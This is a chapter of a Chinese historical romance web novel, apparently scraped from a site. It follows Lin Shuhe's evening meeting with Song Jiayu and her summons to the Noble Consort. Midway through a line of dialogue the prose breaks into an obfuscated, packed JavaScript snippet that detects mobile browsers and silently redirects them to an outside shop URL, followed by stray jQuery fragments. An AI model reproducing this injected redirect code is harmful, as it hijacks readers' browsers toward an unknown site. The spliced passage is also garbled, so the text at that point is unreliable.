镇国公府内,林舒禾正带着一些工匠修缮破损的房屋,外祖陈府也送了一些人来帮忙,还特意将她的亲信侍女汀雨送回了府内。
日头渐渐西移,有个小厮传话说门外有人递了请帖。
林舒禾洗净手后翻开请帖,映入眼帘的就是林舒禾将军几个字。
看着她的名字和将军二字放在一起,她也不由得郑重地看着其间的字,想不到此人外表看着文文弱弱的,写的字笔走龙蛇看着倒是劲挺坚毅。
“林舒禾将军,可安好?料想将军事忙,应是忘了与我的相约,宋某特此郑重邀请将军于京都枫晚亭一见,共赏月圆共商大事。——宋嘉屿拜请。”
这话怎么听着那么别扭呢,奇奇怪怪的。
林舒禾看了眼天色,心想着时间不是还早吗,她本就打算收拾完了再去的,罢了,既然人家已经将请帖送上门来了,那就提前去吧,别让人久等再着急了。
放下请帖她便去马厩牵了马,正要出门时却被侍女喊住,“小姐就这么出门吗,好歹换身干净的衣服吧。”
她低头一看,衣摆下沾着些许污泥,看着确实脏脏的,“确实该换一身衣服。”
等到了江边,她无比庆幸自己换了身干净衣服,因为亭中那人穿的人模人样光彩照人的,也不知是从哪个宴席上刚下来。
将马拴好后,她打了声招呼,“宋侍郎。”
宋嘉屿起身,将身前头发顺到耳后,整了整衣服褶皱,“林将军,请。”
坐下后,林舒禾开门见山,“早上匆忙,没来得及问宋侍郎相邀可有要事?”
想起下朝后她步履匆匆,宋嘉屿轻笑了一声,小声念叨,“确实走得挺匆忙的。”
没听清的林舒禾:“?”
宋嘉屿从一旁的竹篮里取出一盘点心,边摆边说:“说起来我与将军也算共过生死了,却还不知道对方的身份,大殿之上将军身份已经明晰,那在下便将我的身世告知将军。”
“其实知不知道没有多大关系的,你不必因此事特意相邀。”
林舒禾与人相交从不看家世背景,她刚说完便被面前的点心吸引了目光,这个点心好像是桂花糖糕。
“尝尝。”
听到这两个字,她从善如流拿起一块点心咬了一口,入口竟然是熟悉的味道,“这是我小时候的味道!”
勾起了回忆里的味道,她不由自主多吃了几口。
“早上听你提起,碰巧回去的路上见到了那位婶子,想着晚上要见你,便央求婶子做了些。”
怕她吃多了觉得甜腻,宋嘉屿将倒好的茶水放在她的手边,做好这一动作后,他将自己的身世缓缓说了出来。
“我其实是长平侯的儿子,我母亲是他的正妻,可是长平侯宠妾灭妻,我母亲去世后他便将妾室扶正,他只看重那妾室生下的儿子,不愿将世子之位给我,可只要我在,他另外一个儿子便不能坐上世子之位,那个家已无可留恋,所以我十四岁起便出来开府自立。”
说着说着,他看了林舒禾一眼,然后低垂下眉,情绪低落下来,“我幼时过得很是艰难。”
看着对面端坐的男子,能从那样的环境中成长为如今风姿卓越的样子,想来心底仍旧不能释怀才会将脆弱显示于人前,林舒禾心里泛起同情,她斟酌着开口安慰,“宋侍郎,人生在世困苦难测,过往不恋,愿你日后平安喜乐,得偿所愿终得圆满。”
“既是关心之语,称呼为何如此见外。”宋嘉屿轻声道:“其实你可唤我表字,予珩,已经很久没人这么唤我,关心我了。”
林舒禾看他小心翼翼地看着自己,满眼期待的样子,她心底难得不忍拒绝,一字一顿念了出来,“予、珩,是取予有节,君子如珩?”
听到自己的名字就这么顺利被她念了出来,宋嘉屿强压下要翘起来的嘴角,平静回应道:“是。”
林舒禾见他平静了,不复刚才的哀愁,心里念叨着这人还挺好哄的。
事情说完后,看宋嘉屿的心情已经平复,她便起身告辞,“时辰不早了,你也早些回去歇息吧。”
说罢她前去解开缰绳,飞身上马,刚要御马前行,就听到身后传来宋嘉屿的呼喊,“一路平安,阿禾。”
她回首望去,只见男子抿了抿嘴唇,好像是有些不好意思地问:“既非女子小字应无伤大雅,我能这么唤你吗?”
林舒禾想起之前作为男子在军中的那些日子里,朋友随意称呼很是常见,她咧嘴笑着,“自然可以,你也早些回去吧。”
得到想要的回应,宋嘉屿抬起右手晃着告别,他长身玉立站在原地,嘴角勾着一抹浅笑,“好。”
目睹林舒禾骑马离去的风姿,等人影消息不见后,宋嘉屿拿出哨子吹了几下。
一名黑衣人不知从何处冒了出来,身影隐在暗处,“公子,你可算想起来召唤我了。”
听到这番话,宋嘉屿想起之前重生回来后,好一段时间无心世事,所以早前经营了许久的暗卫也没有再给他们安排活了。
可是现在,他有了同行之人,有了目标,得开始重拾自己的底牌了。
听着与自己并肩作战多年之人的打趣之言,心情甚好的宋嘉屿也不计较,“赵乾,你去安排机敏之人盯着镇国公府,有什么消息及时来报。”
顿了顿,为避免惹出误会,他提醒道:“此举为保护,不可惊扰了府中之人。”
即便不解,但赵乾兴奋道:“是。”
虽说只是盯梢,可这么久终于有活了,他曾还以为他们要解散了。
另一边回到镇国公府的林舒禾刚要躺下休息,就看汀雨急匆匆从屋外跑了进来,“小姐你可回来了,刚才宫中来人传旨,说是贵妃让您明天早上去见她呢,哦,对了,还说后宫多是女眷,特意叮嘱您记得穿女装,莫要着男装万一吓到了后宫妃嫔。”
贵妃?
传闻皇帝专宠贵妃,皇后一心拜佛不理世事,所以目前后宫由贵妃代行协理之权,那位二皇子便是贵妃的儿子。
只是,贵妃找她有什么事,她和贵妃又不认识啊?
算了,多想无用,反正明天就知道了。
她把被子往身上一盖,闭上眼睛进入梦乡,没感觉睡了多久就听到一旁汀雨喊她的声音,“小姐,起床了。”
她自认不是爱睡懒觉的人,可今天却被人叫起,她透过窗户一看外边还如浓墨化不开般的天色,才明白不是自己睡懒觉了,而是今天确实很早,她惊讶不已,“需要起这么早?”
汀雨将妆点用的东西摆到梳妆台上,“今日要进宫,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689140|207874||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小姐又需着女装得梳妆打扮,况且这种场合,世家小姐都是要早早在宫门等候的。”
洗漱后她坐定,看着汀雨的手在自己头上穿来绕去,随后又在自己脸上涂涂抹抹,镜中的自己一点点变得明艳光彩照人起来,她不由夸赞道:“真好看,汀雨,我竟不知你还有这一好手艺。”
“是小姐的底子好,我只是锦上添花罢了。”得了夸奖的汀雨浅笑,“小姐莫不是忘了我一开始的志向了?”
林舒禾顿住,想起当年父亲将汀雨带回来的时候,她就说自己女红很好,尤擅梳头更喜装扮,只是后来两人在外奔波用不上这些东西了,可汀雨还是在选择防身武器时特意选了精巧的暗器来练习。
想起现在使得一手精妙暗器的汀雨和她当初爱梳头的志向,林舒禾拉过汀雨的手,“对不起,这么多年跟着我东奔西跑,浪费了你的好手艺,一直没有机会让你展示自己的才华。”
“小姐说什么呢,还没梳完。”汀雨抽回手,拿起一根根簪子比划着哪个更合适,随口宽慰,“这么多年其实我过得很开心的,能和小姐一起看天高海阔赏边塞壮美,见识了这大江南北四时风景,更是懂得了老爷和小姐的志向,就是因为有许许多多像小姐这样的人舍生忘死保护着我们大家,我们才能闲时梳头簪花啊。”
“汀雨……”林舒禾心中涌起难以言喻的情绪,她还想说些什么,就被汀雨打断了。
“小姐抿嘴,要上唇脂了。”
“哦。”她听话地闭上嘴,却看到汀雨趁着端详发簪的时候背过身,手背似在眼角抹了一下。
林舒禾心念一动,猜到了汀雨的心思,于是转移了话题,“哎呀,我们汀雨手真巧。”
汀雨也欣赏着自己的手艺,不停赞叹:“好看,等穿上那件银纹绣百蝶度花裙,到时候一定惊艳。”
提到那件裙子,林舒禾心里一暖,自从知道她恢复身份,舅母就特意为她准备了许多女子所用的东西,她本来还愁没机会穿那些漂亮衣服,正巧今天就派上用场了。
“走吧。”等一切都收拾好后,她摆起幼时学的姿态慢慢挑起裙摆,一步一步朝马车走了过去。
马车在长街上走着,等她迷迷糊糊快要睡着的时候,一声“到了”将她唤清醒。
下了马车后林舒禾便被宫女领着走过很长很长的一段路,通传过后她坐在了贵妃宫内等着。
一盏茶后,帘子被人从外掀起,一个穿着宫装头戴金簪的中年女子走了进来。
猜到来人身份,林舒禾上前见礼,“贵妃娘娘。”
“起吧。”
贵妃在丫鬟的服侍下坐在了上方,随手摆弄着一旁的名贵花草,“本宫听闻镇国公的女儿回来了,今日一见倒是秀外慧中,正巧今日有赏花宴,你便跟着一起去吧,也好向京中众人介绍介绍你。”
虽不是贵妃所为为何,林舒禾应着,“那就多谢贵妃娘娘关心。”
“嗯。”贵妃端起一杯茶,“这么多年在外也没个人疼,现在回京了,今日年轻男女众多,你也趁此机会多结交一些公子小姐们。”
“臣明白了。”
此言一出,林舒禾便明白过来了,贵妃这是要插手她的婚事了。
这才刚回京城,他们就开始盯着她的婚事了。